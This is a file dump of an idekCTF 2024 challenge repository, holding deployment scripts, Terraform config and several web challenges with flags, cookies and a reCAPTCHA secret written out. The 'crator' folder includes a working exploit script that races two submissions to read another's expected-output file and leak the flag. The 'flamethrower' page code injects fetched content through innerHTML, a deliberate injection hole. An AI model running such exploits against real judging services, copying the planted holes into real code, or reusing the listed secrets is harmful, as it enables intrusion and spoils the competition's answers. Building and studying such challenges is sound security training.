http://json-schema.org/draft-07/schema# 2 | $id: http://rcds.redpwn.com/schemas/backends/rctf/options.yaml 3 | type: object 4 | properties: 5 | url: 6 | type: string 7 | token: 8 | type: string 9 | scoring: 10 | type: object 11 | properties: 12 | minPoints: 13 | type: integer 14 | description: >- 15 | Minimum points for dynamically-scored challenges 16 | default: 100 17 | maxPoints: 18 | type: integer 19 | description: >- 20 | Maximum points for dynamically-scored challenges 21 | default: 500 22 | required: ['minPoints', 'maxPoints'] 23 | default: {} 24 | sortOrder: 25 | type: array 26 | description: >- 27 | List of challenge IDs - their sortWeights will be set in this order 28 | items: 29 | type: string 30 | required: ['url', 'token', 'scoring'] 31 | default: {} 32 | -------------------------------------------------------------------------------- /scripts/rcds/challenge/__init__.py: -------------------------------------------------------------------------------- 1 | from .challenge import Challenge # noqa: F401 2 | from .challenge import ChallengeLoader # noqa: F401 3 | -------------------------------------------------------------------------------- /scripts/rcds/cli/__init__.py: -------------------------------------------------------------------------------- 1 | from .__main__ import cli # noqa: F401 2 | -------------------------------------------------------------------------------- /scripts/rcds/cli/__main__.py: -------------------------------------------------------------------------------- 1 | import click 2 | 3 | from .deploy import deploy 4 | 5 | 6 | @click.group() 7 | def cli(): 8 | pass 9 | 10 | 11 | cli.add_command(deploy) 12 | 13 | 14 | if __name__ == "__main__": 15 | cli() 16 | -------------------------------------------------------------------------------- /scripts/rcds/errors.py: -------------------------------------------------------------------------------- 1 | """ 2 | Error types for various rCDS methods 3 | """ 4 | 5 | import jsonschema.exceptions # type: ignore 6 | 7 | 8 | class ValidationError(ValueError): 9 | pass 10 | 11 | 12 | class SchemaValidationError(ValidationError): 13 | cause: jsonschema.exceptions.ValidationError 14 | 15 | def __init__(self, message: str, cause: jsonschema.exceptions.ValidationError): 16 | super().__init__(message) 17 | 18 | self.cause = cause 19 | -------------------------------------------------------------------------------- /scripts/rcds/project/__init__.py: -------------------------------------------------------------------------------- 1 | from .project import Project # noqa: F401 2 | -------------------------------------------------------------------------------- /scripts/rcds/py.typed: -------------------------------------------------------------------------------- 1 | # Marker file for PEP 561. The mypy package uses inline types. 2 | -------------------------------------------------------------------------------- /scripts/rcds/util/__init__.py: -------------------------------------------------------------------------------- 1 | from .deep_merge import deep_merge # noqa: F401 2 | from .find import find_files # noqa: F401 3 | from .load import SUPPORTED_EXTENSIONS, load_any # noqa: F401 4 | -------------------------------------------------------------------------------- /scripts/rcds/util/deep_merge.py: -------------------------------------------------------------------------------- 1 | from copy import deepcopy 2 | from typing import List, Tuple, Union 3 | 4 | 5 | def deep_merge(a: dict, *rest: dict) -> dict: 6 | """ 7 | Deep merge remaining arguments from left to right into `a`. Mutates `a`, 8 | does not mutate any other arguments. 9 | 10 | :param a dict: 11 | :return: the merged dictionary 12 | :rtype: dict 13 | """ 14 | _rest: Union[List[dict], Tuple[dict, ...]] = rest 15 | while len(_rest) > 0: 16 | b, *_rest = _rest 17 | for key in b: 18 | if isinstance(b[key], dict): 19 | if key in a and isinstance(a[key], dict): 20 | deep_merge(a[key], b[key]) 21 | else: 22 | a[key] = deepcopy(b[key]) 23 | else: 24 | a[key] = b[key] 25 | return a 26 | -------------------------------------------------------------------------------- /scripts/rcds/util/find.py: -------------------------------------------------------------------------------- 1 | from itertools import chain 2 | from pathlib import Path 3 | from typing import Dict, List, Optional 4 | 5 | from .load import SUPPORTED_EXTENSIONS 6 | 7 | 8 | def find_files( 9 | names: List[str], 10 | extensions: List[str], 11 | path: Optional[Path] = None, 12 | recurse: bool = True, 13 | ) -> Dict[str, Path]: 14 | if path is None: 15 | path = Path.cwd().resolve() 16 | foundNames = set(names) 17 | found = dict() 18 | dirList = chain([path], path.parents) if recurse else [path] 19 | for d in dirList: 20 | for f in filter(lambda f: f.is_file(), d.iterdir()): 21 | if f.suffix[1:] in extensions and f.stem in foundNames: 22 | found[f.stem] = f 23 | foundNames.remove(f.stem) 24 | return found 25 | 26 | 27 | def find_cfgs(path: Optional[Path] = None) -> Dict[str, Path]: 28 | return find_files(["rcds", "challenge"], SUPPORTED_EXTENSIONS, path) 29 | -------------------------------------------------------------------------------- /scripts/rcds/util/jsonschema.py: -------------------------------------------------------------------------------- 1 | from jsonschema import Draft7Validator, validators # type: ignore 2 | 3 | # From 4 | # https://python-jsonschema.readthedocs.io/en/stable/faq/#why-doesn-t-my-schema-s-default-property-set-the-default-on-my-instance # noqa: B950 5 | 6 | 7 | def extend_with_default(validator_class): 8 | validate_properties = validator_class.VALIDATORS["properties"] 9 | 10 | def set_defaults(validator, properties, instance, schema): 11 | for property, subschema in properties.items(): 12 | if "default" in subschema: 13 | instance.setdefault(property, subschema["default"]) 14 | 15 | yield from validate_properties(validator, properties, instance, schema) 16 | 17 | return validators.extend(validator_class, {"properties": set_defaults}) 18 | 19 | 20 | DefaultValidatingDraft7Validator = extend_with_default(Draft7Validator) 21 | -------------------------------------------------------------------------------- /scripts/rcds/util/load.py: -------------------------------------------------------------------------------- 1 | """ 2 | Utility for loading configuration files 3 | 4 | Objects only, loading files consisting of arrays is not supported. 5 | """ 6 | 7 | import json 8 | from pathlib import Path 9 | from typing import Any, Dict 10 | 11 | import yaml 12 | 13 | 14 | def _normalize_jsonlike(data: Any) -> Dict[str, Any]: 15 | if data is None: 16 | return dict() 17 | return data 18 | 19 | 20 | def load_yaml(f: Path) -> Dict[str, Any]: 21 | with f.open("r") as fd: 22 | return _normalize_jsonlike(yaml.safe_load(fd)) 23 | 24 | 25 | def load_json(f: Path) -> Dict[str, Any]: 26 | with f.open("r") as fd: 27 | return _normalize_jsonlike(json.load(fd)) 28 | 29 | 30 | def load_any(f: Path) -> Dict[str, Any]: 31 | ext = f.suffix[1:] 32 | if ext in ["yml", "yaml"]: 33 | return load_yaml(f) 34 | elif ext in ["json"]: 35 | return load_json(f) 36 | else: 37 | raise Exception("Unsupported extension") 38 | 39 | 40 | SUPPORTED_EXTENSIONS = ["yml", "yaml", "json"] 41 | -------------------------------------------------------------------------------- /terraform/admin-bot/.gitignore: -------------------------------------------------------------------------------- 1 | .terraform 2 | .terraform.lock.hcl 3 | terraform.tfstate 4 | terraform.tfstate.backup -------------------------------------------------------------------------------- /terraform/admin-bot/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd image && docker build -t admin-bot . \ 4 | && docker tag admin-bot gcr.io/idekctf-374221/admin-bot \ 5 | && docker push gcr.io/idekctf-374221/admin-bot -------------------------------------------------------------------------------- /terraform/admin-bot/image/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM pwn.red/admin-bot 2 | 3 | COPY config.js . -------------------------------------------------------------------------------- /terraform/admin-bot/main.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | google = { 4 | source = "hashicorp/google" 5 | version = "3.58.0" 6 | } 7 | } 8 | } 9 | 10 | output "submit_url" { 11 | value = module.admin_bot.submit_url 12 | } 13 | 14 | provider "google" { 15 | project = "idekctf-374221" 16 | region = "us-east4" 17 | } 18 | 19 | module "admin_bot" { 20 | source = "redpwn/admin-bot/google" 21 | image = "gcr.io/idekctf-374221/admin-bot" 22 | recaptcha = { 23 | site = "6LetTCcqAAAAACDQtu2uJfPzqiWp0dAKuZGPVSOs" 24 | secret = "6LetTCcqAAAAAJPmWGToJSiqF6U-e9s809E2dCjj" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /web/crator/README.md: -------------------------------------------------------------------------------- 1 | # srcdoc-memos 2 | **Category:** Web 3 | **Difficulty:** Easy 4 | **Author:** __jw 5 | 6 | ## Description 7 | 8 | I made a new website to compete against my friends to see who could write faster code. Unfortunately, I don't actually know how to write that much code. Don't tell them, but ChatGPT wrote this entire website for me. Can you solve the problems for me? 9 | 10 | ## Distribution 11 | -------------------------------------------------------------------------------- /web/crator/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:a90e299af8a9cd6b59c4aaed2b024c78561476978244a1ab89742a4a5ac8c974 2 | # python:3.11-slim 3 | 4 | RUN apt update && apt install sudo 5 | 6 | RUN useradd -G sudo judge 7 | RUN echo 'judge ALL = (ALL) NOPASSWD: APP' >> /etc/sudoers 8 | 9 | RUN pip3 install --no-cache-dir flask sqlalchemy gunicorn 10 | COPY app /home/judge/app 11 | 12 | WORKDIR /home/judge/app 13 | RUN chmod 600 db.sqlite 14 | 15 | ENTRYPOINT ["gunicorn", "--bind", "0.0.0.0:1337", "-m", "007", "-w", "3", "--timeout", "15", "--capture-output", "app:app"] 16 | -------------------------------------------------------------------------------- /web/crator/attachments/app/db.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/web/crator/attachments/app/db.sqlite -------------------------------------------------------------------------------- /web/crator/attachments/app/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Problems

5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% for row in problems %} 15 | 16 | 17 | 18 | 19 | {% endfor %} 20 | 21 |
TitleDifficulty
{{ row.title }}{{ row.difficulty }}
22 |
23 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/attachments/app/templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Log In

5 | {{ message }} 6 |
7 |
8 | 14 | 15 |
16 |
17 | 23 | 24 |
25 | 26 |
27 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/attachments/app/templates/problem.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block main %} 3 |

{{ problem.title }}

4 |
5 |
6 |
{{ problem.description | safe }}
7 |
8 |
9 | Submit 10 |
11 | Difficulty: {{ problem.difficulty }}
12 | Time Limit: 1s
13 | Memory Limit: ??? 14 |
15 |
16 |
17 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/attachments/app/templates/register.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Register

5 | {{ message }} 6 |
7 |
8 | 14 | 15 |
16 |
17 | 23 | 24 |
25 | 26 |
27 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/attachments/app/templates/submission.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Submission to {{ submission.problem.title }}

5 |

Status: {{ submission.status }}

6 |
{{ submission.code }}
7 |

Test Cases:

8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | {% for row in testcases %} 20 | 21 | 22 | 23 | 24 | 25 | 26 | {% endfor %} 27 | 28 |
Test IDExpected OutputYour OutputStatus
{{ row.testcase_id }}{% if row.expected_output %}
{{ row.expected_output }}
{% else %}(Output Hidden){% endif %}
{% if row.expected_output %}
{{ row.actual_output }}
{% else %}(Output Hidden){% endif %}
{{ row.status }}
29 |
30 | {% endblock %} 31 | -------------------------------------------------------------------------------- /web/crator/attachments/app/templates/submissions.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Submissions

5 |
6 |
7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | {% for row in submissions %} 17 | 18 | 19 | 20 | 21 | 22 | {% endfor %} 23 | 24 |
Problem IDUserStatus
{{ row.problem_id }}{{ row.user.username }}{{ row.status }}
25 |
26 |
27 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd challenge && docker build -t crator . \ 4 | && docker tag crator gcr.io/idekctf-374221/crator \ 5 | && docker push gcr.io/idekctf-374221/crator -------------------------------------------------------------------------------- /web/crator/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:a90e299af8a9cd6b59c4aaed2b024c78561476978244a1ab89742a4a5ac8c974 2 | # python:3.11-slim 3 | 4 | RUN apt update && apt install sudo 5 | 6 | RUN useradd -G sudo judge 7 | RUN echo 'judge ALL = (ALL) NOPASSWD: APP' >> /etc/sudoers 8 | 9 | RUN pip3 install --no-cache-dir flask sqlalchemy gunicorn 10 | COPY app /home/judge/app 11 | 12 | WORKDIR /home/judge/app 13 | RUN chmod 600 db.sqlite 14 | 15 | ENV FLAG="idek{1m4g1n3_n0t_h4v1ng_pr0p3r_s4ndb0x1ng}" 16 | 17 | ENTRYPOINT ["gunicorn", "--bind", "0.0.0.0:1337", "-m", "007", "-w", "3", "--timeout", "15", "--capture-output", "app:app"] 18 | -------------------------------------------------------------------------------- /web/crator/challenge/app/db.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/web/crator/challenge/app/db.sqlite -------------------------------------------------------------------------------- /web/crator/challenge/app/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Problems

5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% for row in problems %} 15 | 16 | 17 | 18 | 19 | {% endfor %} 20 | 21 |
TitleDifficulty
{{ row.title }}{{ row.difficulty }}
22 |
23 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/challenge/app/templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Log In

5 | {{ message }} 6 |
7 |
8 | 14 | 15 |
16 |
17 | 23 | 24 |
25 | 26 |
27 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/challenge/app/templates/problem.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block main %} 3 |

{{ problem.title }}

4 |
5 |
6 |
{{ problem.description | safe }}
7 |
8 |
9 | Submit 10 |
11 | Difficulty: {{ problem.difficulty }}
12 | Time Limit: 1s
13 | Memory Limit: ??? 14 |
15 |
16 |
17 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/challenge/app/templates/register.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Register

5 | {{ message }} 6 |
7 |
8 | 14 | 15 |
16 |
17 | 23 | 24 |
25 | 26 |
27 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/challenge/app/templates/submission.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Submission to {{ submission.problem.title }}

5 |

Status: {{ submission.status }}

6 |
{{ submission.code }}
7 |

Test Cases:

8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | {% for row in testcases %} 20 | 21 | 22 | 23 | 24 | 25 | 26 | {% endfor %} 27 | 28 |
Test IDExpected OutputYour OutputStatus
{{ row.testcase_id }}{% if row.expected_output %}
{{ row.expected_output }}
{% else %}(Output Hidden){% endif %}
{% if row.expected_output %}
{{ row.actual_output }}
{% else %}(Output Hidden){% endif %}
{{ row.status }}
29 |
30 | {% endblock %} 31 | -------------------------------------------------------------------------------- /web/crator/challenge/app/templates/submissions.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block main %} 4 |

Submissions

5 |
6 |
7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | {% for row in submissions %} 17 | 18 | 19 | 20 | 21 | 22 | {% endfor %} 23 | 24 |
Problem IDUserStatus
{{ row.problem_id }}{{ row.user.username }}{{ row.status }}
25 |
26 |
27 | {% endblock %} -------------------------------------------------------------------------------- /web/crator/debug/exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import time 4 | 5 | BASE_URL = "http://localhost:8000" 6 | 7 | s = requests.Session() 8 | 9 | print("[+] Logging in") 10 | s.post(BASE_URL + "/login", data={"username": "admin", "password": "admin"}) 11 | 12 | print("[+] Getting base submission number") 13 | r = s.post(BASE_URL + "/submit/helloworld", data={'code': 'print("Hello, World!")'}, allow_redirects=False) 14 | base_submission = int(r.headers["Location"].split("/")[-1]) 15 | 16 | print("[+] Making first submission") 17 | def submit_one(): 18 | r = s.post(BASE_URL + "/submit/helloinput", data={'code': 'x=input()\nprint(x)\nif x!="Welcome to Crator":\n while True:\n pass'}, allow_redirects=False) 19 | 20 | t = threading.Thread(target=submit_one) 21 | t.start() 22 | 23 | time.sleep(0.2) # wait for first test case to finish 24 | print("[+] Making second submission") 25 | code = f''' 26 | with open('/tmp/{base_submission + 1}.expected', 'r') as f: 27 | print(f.read().strip()) 28 | ''' 29 | r = s.post(BASE_URL + "/submit/helloworld", data={'code': code}) 30 | 31 | print("[+] Flag exfiltrated (hopefully)") 32 | flag = r.text[r.text.index("idek"):] 33 | flag = flag[:flag.index("}") + 1] 34 | print(flag) -------------------------------------------------------------------------------- /web/crator/meta.yaml: -------------------------------------------------------------------------------- 1 | name: crator 2 | author: __jw 3 | public: true 4 | flag: idek{1m4g1n3_n0t_h4v1ng_pr0p3r_s4ndb0x1ng} 5 | description: I made a new website to compete against my friends to see who could write faster code. Unfortunately, I don't actually know how to write that much code. Don't tell them, but ChatGPT wrote this entire website for me. Can you solve the problems for me? 6 | instancer: true -------------------------------------------------------------------------------- /web/flamethrower/README.md: -------------------------------------------------------------------------------- 1 | # srcdoc-memos 2 | **Category:** Web 3 | **Difficulty:** Hard 4 | **Author:** downgrade & icesfont 5 | 6 | ## Description 7 | 8 | I added this cool project called [flamethrower](https://github.com/fireship-io/flamethrower) to my product site, hopefully it doesn't have any silly bugs 9 | 10 | ## Distribution 11 | 12 | please include `bot.js` in the attachment directory as a separate download from the local docker setup download (`Dockerfile` + `src`) if possible :) 13 | -------------------------------------------------------------------------------- /web/flamethrower/attachments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | name: "srcdoc-memos" 3 | 4 | services: 5 | web: 6 | build: web 7 | ports: 8 | - "1337:1337" 9 | restart: always 10 | 11 | bot: 12 | build: bot 13 | environment: 14 | SITE: http://localhost:1337 # this will point to the public instance on remote 15 | PORT: 3000 16 | ports: 17 | - "3000:3000" 18 | -------------------------------------------------------------------------------- /web/flamethrower/attachments/web/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22-alpine 2 | 3 | ENV PORT=1337 4 | ENV ADMIN_COOKIE="REDACTED" 5 | 6 | WORKDIR /app 7 | 8 | ADD src/static /app/static/ 9 | ADD src/views /app/views/ 10 | 11 | COPY src /app/ 12 | 13 | RUN npm i 14 | 15 | ENTRYPOINT ["node", "server.js"] 16 | -------------------------------------------------------------------------------- /web/flamethrower/attachments/web/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "cookie-parser": "^1.4.6", 4 | "ejs": "^3.1.9", 5 | "express": "^4.18.2" 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /web/flamethrower/attachments/web/src/static/loader.js: -------------------------------------------------------------------------------- 1 | import flamethrower from '/flamethrower.js'; 2 | flamethrower({ prefetch: 'visible', log: false, pageTransitions: true }); 3 | -------------------------------------------------------------------------------- /web/flamethrower/attachments/web/src/static/posts.js: -------------------------------------------------------------------------------- 1 | main = async () => { 2 | postId = new URLSearchParams(location.search).get('id') || "1"; 3 | if (postId.slice(-1) === '/'){ 4 | postId = postId.substring(0, postId.length - 1); 5 | }; 6 | 7 | postContainer = document.getElementById('post-content'); 8 | 9 | if (!isNaN(postId)){ 10 | data = await (await fetch(`/api/post/${postId}`)).json(); 11 | content = data['content'] || data['error']; 12 | } else { 13 | content = 'post not found :('; 14 | }; 15 | 16 | postContainer.innerHTML = postContainer.innerHTML.replace('Content loading...', content); 17 | }; 18 | 19 | main(); 20 | -------------------------------------------------------------------------------- /web/flamethrower/attachments/web/src/static/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #262626; 3 | color: #cc2f00; 4 | text-align: center; 5 | margin-right: 20%; 6 | margin-left: 20%; 7 | } 8 | 9 | ul { 10 | padding-left: 0; 11 | } 12 | 13 | ul li { 14 | list-style-position: inside; 15 | } 16 | 17 | a { 18 | color: red; 19 | } 20 | -------------------------------------------------------------------------------- /web/flamethrower/attachments/web/src/views/post.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Flamethrower 11 | 12 | 13 | 14 |

Blog

15 | Home | About | Post 1 | Post 2 | Flag 16 |
17 |
18 |

Content loading...

19 |
20 |
21 | 22 |
23 | 24 |
25 | 26 | -------------------------------------------------------------------------------- /web/flamethrower/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: flamethrower 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: us.gcr.io/idekctf-374221/flamethrower-healthcheck:bc9763b88408c93ae5e5e8299a9f341383b74d1529dfe78a32cbb482e133a21f 14 | image: us.gcr.io/idekctf-374221/flamethrower-challenge:1d2c7e74c3708116a97969d7e9989423b78fe5fa511cbf029c76c550a2fdf3e6 15 | -------------------------------------------------------------------------------- /web/flamethrower/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22-alpine 2 | 3 | ENV PORT=1337 4 | ENV ADMIN_COOKIE="0b8316282ad3dcd7a200e27229084e6c75a644e8c95bf725fe00054702070c81" 5 | 6 | WORKDIR /app 7 | 8 | ADD src/static /app/static/ 9 | ADD src/views /app/views/ 10 | 11 | COPY src /app/ 12 | 13 | RUN npm i 14 | 15 | ENTRYPOINT ["node", "server.js"] 16 | -------------------------------------------------------------------------------- /web/flamethrower/challenge/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "cookie-parser": "^1.4.6", 4 | "ejs": "^3.1.9", 5 | "express": "^4.18.2" 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /web/flamethrower/challenge/src/static/loader.js: -------------------------------------------------------------------------------- 1 | import flamethrower from '/flamethrower.js'; 2 | flamethrower({ prefetch: 'visible', log: false, pageTransitions: true }); 3 | -------------------------------------------------------------------------------- /web/flamethrower/challenge/src/static/posts.js: -------------------------------------------------------------------------------- 1 | main = async () => { 2 | postId = new URLSearchParams(location.search).get('id') || "1"; 3 | if (postId.slice(-1) === '/'){ 4 | postId = postId.substring(0, postId.length - 1); 5 | }; 6 | 7 | postContainer = document.getElementById('post-content'); 8 | 9 | if (!isNaN(postId)){ 10 | data = await (await fetch(`/api/post/${postId}`)).json(); 11 | content = data['content'] || data['error']; 12 | } else { 13 | content = 'post not found :('; 14 | }; 15 | 16 | postContainer.innerHTML = postContainer.innerHTML.replace('Content loading...', content); 17 | }; 18 | 19 | main(); 20 | -------------------------------------------------------------------------------- /web/flamethrower/challenge/src/static/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #262626; 3 | color: #cc2f00; 4 | text-align: center; 5 | margin-right: 20%; 6 | margin-left: 20%; 7 | } 8 | 9 | ul { 10 | padding-left: 0; 11 | } 12 | 13 | ul li { 14 | list-style-position: inside; 15 | } 16 | 17 | a { 18 | color: red; 19 | } 20 | -------------------------------------------------------------------------------- /web/flamethrower/challenge/src/views/post.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Flamethrower 11 | 12 | 13 | 14 |

Blog

15 | Home | About | Post 1 | Post 2 | Flag 16 |
17 |
18 |

Content loading...

19 |
20 |
21 | 22 |
23 | 24 |
25 | 26 | -------------------------------------------------------------------------------- /web/flamethrower/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /web/flamethrower/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /web/flamethrower/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | r = requests.get("http://127.0.0.1:1337/api/post/3", cookies={"ADMIN_COOKIE": "0b8316282ad3dcd7a200e27229084e6c75a644e8c95bf725fe00054702070c81"}) 6 | 7 | if "idek{" in r.json()["content"]: 8 | exit(0) 9 | exit(1) 10 | -------------------------------------------------------------------------------- /web/flamethrower/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /web/flamethrower/meta.yaml: -------------------------------------------------------------------------------- 1 | name: flamethrower 2 | author: downgrade & icesfont 3 | public: true 4 | flag: idek{sorry_for_my_ugly_frontend_but_i_hope_the_challenge_was_still_fun_c02b7d} 5 | description: | 6 | I added this cool project called [flamethrower](https://github.com/fireship-io/flamethrower) to my product site, hopefully it doesn't have any silly bugs 7 | 8 | Hints: 9 | 10 | 11 | * what if one route could render different pages? 12 | * there's no funny javascript quirks in posts.js (that we know of) 13 | admin_bot: true 14 | http: true -------------------------------------------------------------------------------- /web/idek-hello/README.md: -------------------------------------------------------------------------------- 1 | # Hello 2 | **Category:** Web 3 | **Difficulty:** Easy 4 | **Author:** Abdelhameed Ghazy 5 | 6 | ## Description 7 | 8 | > Just to warm you up for the next Fight :"D 9 | -------------------------------------------------------------------------------- /web/idek-hello/attachments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | hello: 3 | build: hello 4 | ports: 5 | - 1337:80 6 | -------------------------------------------------------------------------------- /web/idek-hello/attachments/hello/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y php8.2-fpm nano 5 | 6 | COPY nginx.conf /etc/nginx/nginx.conf 7 | COPY src /usr/share/nginx/html/ 8 | COPY init.sh / 9 | RUN chmod +x /init.sh 10 | 11 | EXPOSE 80 12 | 13 | CMD /init.sh 14 | 15 | -------------------------------------------------------------------------------- /web/idek-hello/attachments/hello/init.sh: -------------------------------------------------------------------------------- 1 | service php8.2-fpm start && nginx -g "daemon off;" -------------------------------------------------------------------------------- /web/idek-hello/attachments/hello/nginx.conf: -------------------------------------------------------------------------------- 1 | user www-data; 2 | worker_processes 1; 3 | 4 | events { 5 | worker_connections 1024; 6 | } 7 | 8 | http { 9 | include /etc/nginx/mime.types; 10 | default_type application/octet-stream; 11 | 12 | sendfile on; 13 | keepalive_timeout 65; 14 | 15 | server { 16 | listen 80; 17 | server_name localhost; 18 | 19 | location / { 20 | root /usr/share/nginx/html; 21 | index index.php index.html index.htm; 22 | } 23 | 24 | location = /info.php { 25 | allow 127.0.0.1; 26 | deny all; 27 | } 28 | 29 | location ~ \.php$ { 30 | root /usr/share/nginx/html; 31 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 32 | include fastcgi_params; 33 | fastcgi_pass unix:/var/run/php/php8.2-fpm.sock; 34 | } 35 | 36 | } 37 | } 38 | 39 | -------------------------------------------------------------------------------- /web/idek-hello/attachments/hello/src/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/idek-hello/attachments/hello/src/info.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/idek-hello/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y php8.2-fpm nano 5 | 6 | COPY nginx.conf /etc/nginx/nginx.conf 7 | COPY src /usr/share/nginx/html/ 8 | COPY init.sh / 9 | RUN chmod +x /init.sh 10 | 11 | EXPOSE 1337 12 | 13 | CMD /init.sh 14 | 15 